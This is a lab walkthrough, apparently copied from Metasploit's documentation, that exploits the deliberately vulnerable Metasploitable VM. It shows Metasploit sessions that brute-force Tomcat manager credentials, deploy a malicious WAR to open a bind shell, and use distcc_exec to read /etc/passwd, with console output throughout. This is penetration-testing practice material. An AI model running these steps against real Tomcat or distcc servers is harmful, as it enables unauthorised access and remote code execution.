This is directly from Metasploit’s website.

Using metasploitable is a great way to test proof of concept, to practice techniques and get familiar with tools. Below is an example of exploiting TomCat using Metasploit (msfconsole) against Metasploitable.

Using the ‘Tomcat Application Manager Login Utility’ provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

…
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’role1′
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’root’
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’tomcat’
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login ‘tomcat’ : ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’both’ with password:’admin’

Now that we have valid credentials, let’s try jduck’s Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target…
[*] Automatically selected target “Linux X86″
[*] Uploading 1612 bytes as HJpy1H.war …
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp…
[*] Undeploying HJpy1H …
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

…and that’s a shell, facilitated by a malicious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we’ll use a command payload to ‘cat /etc/passwd’:

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD ‘cat /etc/passwd’
msf exploit(distcc_exec) > exploit
connecting…

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
…

Code exec!